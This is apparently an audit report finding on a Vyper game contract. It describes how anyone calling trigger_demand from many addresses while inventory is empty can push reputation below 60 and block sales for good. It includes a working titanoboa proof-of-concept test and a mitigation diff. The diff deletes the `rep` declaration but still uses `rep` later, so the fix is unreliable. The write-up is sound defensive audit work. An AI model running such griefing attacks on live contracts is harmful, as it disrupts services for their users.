Root + Impact
Description
-
The CustomerEnginecontract triggers demand in the Cyfrin_Hubcontract and is the only one with access control to call Cyfrin_Hub::sell_to_customer. If the company does not have inventorywhen the CustomerEngine::trigger_demand function is called the company looses 5 points in reputaion. If company successfully sells a product it will gain 2 points The reputation starts at 100 and when it goes below 60 the reputation is too low for company to sell.
-
Since anyone can call trigger_demandfunction an attacker can spam demand when inventory is 0 and push reputation< 60, after which no sales are possible, and reputation cannot recover.
@payable
@> @external
def trigger_demand():
Risk
Likelihood:
-
The attack only requires repeatedly calling trigger_demandwhile company has no inventory
-
The function is public and permissionless, meaning any user (or multiple Sybil addresses) can trigger it
-
There is no significant cost, global cooldown, or access restrictions - only a 60 seconds per address cooldown delay, which is easely bypassed
-
The attack can be completed in just a few transactions
Impact:
Proof of Concept
Flow:
Multiple addresses calls trigger_demandwhile inventory== 0 until reputationfalls below 60
Patrick calls trigger_demandand the transaction reverts
Owner restocks
Patrick calls trigger_demandand the transaction reverts still even though company has stock because reputation< 60
@pytest.fixture(scope="function")
def multiple_buyers():
buyers = []
for i in range(9):
buyers.append(_generate_account_with_balance(f"buyer_{i}"))
return buyers
def test_attack_reputation(customer_engine_contract, industry_contract, multiple_buyers, PATRICK, OWNER):
boa.env.set_balance(OWNER, SET_OWNER_BALANCE)
with boa.env.prank(OWNER):
industry_contract.fund_cyfrin(0,value=to_wei(50, "ether"))
print(f"Industry inventory: {industry_contract.inventory()}")
print(f"Industry reputation before funding: {industry_contract.get_reputation_tier()}")
for buyer in multiple_buyers:
with boa.env.prank(buyer):
customer_engine_contract.trigger_demand(value=to_wei(0.1, "ether"))
print(f"Industry reputation after funding: {industry_contract.get_reputation_tier()}")
assert industry_contract.reputation() < 60, "Reputation should be reduced after multiple failed demands"
with boa.env.prank(PATRICK):
with boa.reverts("Reputation too low for demand!!!"):
customer_engine_contract.trigger_demand(value=to_wei(5, "ether"))
with boa.env.prank(OWNER):
industry_contract.produce(50)
print(f"Industry inventory after production: {industry_contract.inventory()}")
with boa.env.prank(PATRICK):
with boa.reverts("Reputation too low for demand!!!"):
customer_engine_contract.trigger_demand(value=to_wei(5, "ether"))
Recommended Mitigation
Remove the assert reputation >= MIN_REPUTATION
Change reputation reward to 1 when under 60
@external
@payable
def sell_to_customer(requested: uint256):
assert msg.sender == self.CUSTOMER_ENGINE, "Not the customer engine!!!"
assert not self._is_bankrupt(), "Company is bankrupt!!!"
self._apply_holding_cost()
if self.inventory >= requested:
self.inventory -= requested
revenue: uint256 = requested * SALE_PRICE
self.company_balance += revenue
- if self.reputation < 100:
- # Increase reputation for successful sale
- self.reputation = min(self.reputation + REPUTATION_REWARD, 100)
- else:
- # Maintain reputation if already at max
- self.reputation = 100
+ if self.reputation < 60:
+ self.reputation = min(self.reputation + 1, 100)
+ elif self.reputation < 100:
+ self.reputation = min(self.reputation + REPUTATION_REWARD, 100)
log Sold(amount=requested, revenue=revenue)
else:
self.reputation = min(max(self.reputation - REPUTATION_PENALTY, 0), 100)
log ReputationChanged(new_reputation=self.reputation)
@payable
@external
def trigger_demand():
"""
@notice Simulates a customer placing a demand for items from the company.
@dev Users must pay ETH to request items. Excess ETH is refunded.
@dev Demand size is pseudo-random (1 - 5 items), influenced by company reputation.
@dev Can only be called once per address every `COOLDOWN` seconds.
@dev Requires company reputation ≥ `MIN_REPUTATION`.
@dev Calls `sell_to_customer` on CompanyGame with exact ETH required.
@dev Reverts if call fails (e.g., insufficient inventory).
"""
# Cooldown enforcement
assert (
block.timestamp > self.last_trigger[msg.sender] + COOLDOWN
), "Wait before next demand!!!"
self.last_trigger[msg.sender] = block.timestamp
- # Reputation check
- rep: uint256 = staticcall CompanyGame(self.company).reputation()
- assert rep >= MIN_REPUTATION, "Reputation too low for demand!!!"
# Pseudo-random demand calculation
seed: uint256 = convert(
keccak256(
concat(
convert(block.timestamp, bytes32), convert(msg.sender, bytes32)
)
),
uint256,
)
base: uint256 = seed % 5 # 0 to 4
extra_item_chance: uint256 = 0
if (seed % 100) < (rep - 50):
extra_item_chance = 1
requested: uint256 = base + 1 + extra_item_chance # 1 to 6
requested = min(requested, MAX_REQUEST) # cap at 5
# ETH payment enforcement
total_cost: uint256 = requested * ITEM_PRICE
assert msg.value >= total_cost, "Insufficient payment!!!"
# Refund excess ETH
excess: uint256 = msg.value - total_cost
if excess > 0:
send(msg.sender, excess)
data: Bytes[36] = concat(
method_id("sell_to_customer(uint256)"), convert(requested, bytes32)
)
# Call CompanyGame
raw_call(self.company, data, value=total_cost, revert_on_failure=True)